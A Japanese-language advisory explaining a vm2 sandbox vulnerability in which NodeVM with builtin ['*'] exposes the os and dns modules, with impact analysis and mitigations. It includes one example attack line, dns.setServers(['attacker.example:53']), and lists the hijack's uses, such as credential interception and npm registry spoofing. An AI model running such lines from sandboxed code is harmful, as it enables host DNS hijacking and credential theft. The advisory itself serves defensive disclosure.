[緊急] vm2ライブラリの深刻な脆弱性 GHSA-m5w8-4gq2-6f8x の解説と対策
はじめに:vm2とは何か、フロントエンドエンジニアにとってなぜ重要か
vm2は、Node.jsアプリケーション内で信頼できないコードを安全に実行するためのサンドボックスライブラリです。ユーザーがアップロードしたスクリプトの実行、プラグインシステムの構築、CI/CD環境でのコードテストなど、多岐にわたる用途で利用されています。
フロントエンドエンジニアにとって、直接vm2を扱う機会は少ないかもしれませんが、Node.jsベースのバックエンドAPI、サーバーサイドレンダリング(SSR)環境、あるいはビルドツールやFaaS(Function as a Service)のようなインフラで利用されている可能性があります。そのため、この脆弱性は間接的にあなたの開発・運用するシステムに影響を与える可能性があります。
脆弱性の概要:GHSA-m5w8-4gq2-6f8xとは?
今回報告された脆弱性「GHSA-m5w8-4gq2-6f8x」は、vm2ライブラリの深刻度「Critical」(CVSSv3.1スコア: 9.3)に分類される重大な問題です。この脆弱性は、特にNodeVMのインスタンスを生成する際に`builtin: ['*']`という設定(全てのビルトインモジュールを許可する設定)を使用している場合に発生します。
本来、サンドボックス内ではホストシステムへのアクセスは厳しく制限されるべきですが、この設定では`os`モジュールと`dns`モジュールがサンドボックス内に露出してしまいます。これにより、サンドボックス内の悪意あるコードがホストシステムの情報にアクセスしたり、ホストシステムの設定を書き換えたりすることが可能になります。
これは過去に同様の問題(GHSA-9g8x-92q2-p28f)で対処された「プロセスワイドな観測可能性のあるビルトインモジュール」のクラスに属しますが、`os`と`dns`がその修正から漏れていたことが原因です。
具体的な影響:ホスト情報の漏洩とDNSハイジャック
本脆弱性によって、サンドボックス内の攻撃者は以下の操作を行う可能性があります。
`os.userInfo()`を通じて、ホストプロセスの実行ユーザー(UID、GID、ユーザー名、ホームディレクトリ、シェル)などの機密情報を取得できます。もしvm2がroot権限や特権ユーザーで実行されている場合、これは非常に危険な情報漏洩となります。
`os.networkInterfaces()`を使用すると、ホストのネットワーク構成(IPアドレス、MACアドレス、コンテナ/VMインターフェースを含む)を完全に列挙でき、攻撃者は内部ネットワークのトポロジを把握し、次の攻撃ステップに利用する可能性があります。
`os.setPriority()`を呼び出すことで、ホストプロセスの優先度を任意に変更できます。これにより、ホストプロセスの処理能力を意図的に低下させ、サービス拒否(DoS)攻撃を引き起こしたり、逆に優先度を上げて他のプロセスに影響を与えたりする可能性があります。
最も深刻な影響の一つがこれです。攻撃者は`dns.setServers(['attacker.example:53'])`のような一行のコードで、ホストプロセス全体のDNSリゾルバリストを書き換えることができます。これにより、ホストプロセスが行う**全てのDNSルックアップ**(例えば、外部へのHTTPリクエスト、npmレジストリへのアクセス、テレメトリ送信など)が攻撃者が制御するDNSサーバーを経由するようになります。
このDNSハイジャックによって、攻撃者は以下のようなことが可能になります。
- 外部ホスト名を`127.0.0.1`などのローカルアドレスに解決させ、ホストが外部に送信しようとする機密情報(認証情報、トークンなど)を傍受する。<br>- `registry.npmjs.org`などの正規のレジストリを攻撃者のサーバーに解決させ、悪意のあるパッケージをインストールさせる(サプライチェーン攻撃)。<br>- OIDCなどの認証プロバイダのホスト名を偽装し、認証フローを乗っ取る。<br>- 正当なホスト名の解決を停止させ、ホスト側のテレメトリや監視機能を無効化する。
影響を受ける環境と確認方法
この脆弱性は、以下の環境に影響を与えます。
- vm2のバージョン `v3.11.5` および、GHSA-9g8x-92q2-p28fの修正が含まれる未リリースバージョン。<br>- 特に、`NodeVM`のコンフィグレーションで`require: { builtin: ['*'] }`を指定している場合。
自身のプロジェクトでvm2を使用しているか、またその設定が`builtin: ['*']`を含んでいるかを確認してください。
推奨される対策
この深刻な脆弱性からシステムを保護するためには、以下の対策を速やかに実施することを強く推奨します。
最も簡単で確実な対策は、vm2を脆弱性が修正された最新バージョンにアップデートすることです。修正は`3.11.6`(またはそれ以降のバージョン)に含まれる予定です。`package.json`を確認し、以下のコマンドでアップデートしてください。
```bash npm update vm2 # または yarn upgrade vm2 ```
もし直ちにバージョンアップが難しい場合は、`NodeVM`の`builtin`オプションから`os`と`dns`を明示的に除外してください。例えば、以下のように設定できます。
```javascript const { NodeVM } = require('vm2'); const vm = new NodeVM({ require: { external: true, builtin: ['*', '-os', '-dns'] // osとdnsを除外 } }); ```
`os`や`dns`の一部の機能(`os.platform()`、`os.EOL`など、サンドボックス内で安全に利用できる機能)がどうしても必要な場合は、`mock`または`override`オプションを使用して、安全な限定版のモジュールをサンドボックスに提供することを検討してください。
サンドボックスの設計において、常に「必要最小限の権限のみを付与する」という原則を徹底してください。`builtin: ['*']`のような広範な許可は、常に潜在的なリスクを伴います。
まとめ
vm2ライブラリのGHSA-m5w8-4gq2-6f8xは、サンドボックス環境のセキュリティを根底から揺るがす深刻な脆弱性です。ホストシステムの機密情報の漏洩や、プロセスワイドなDNSハイジャックといった、実運用環境に甚大な被害をもたらす可能性のある攻撃が容易に実行され得ます。
あなたのアプリケーションがvm2を利用している場合、早急にバージョンアップを行うか、`builtin`設定を適切に見直すことで、このリスクを軽減してください。安全なシステム運用のため、セキュリティ情報の継続的なチェックと迅速な対応を心がけましょう。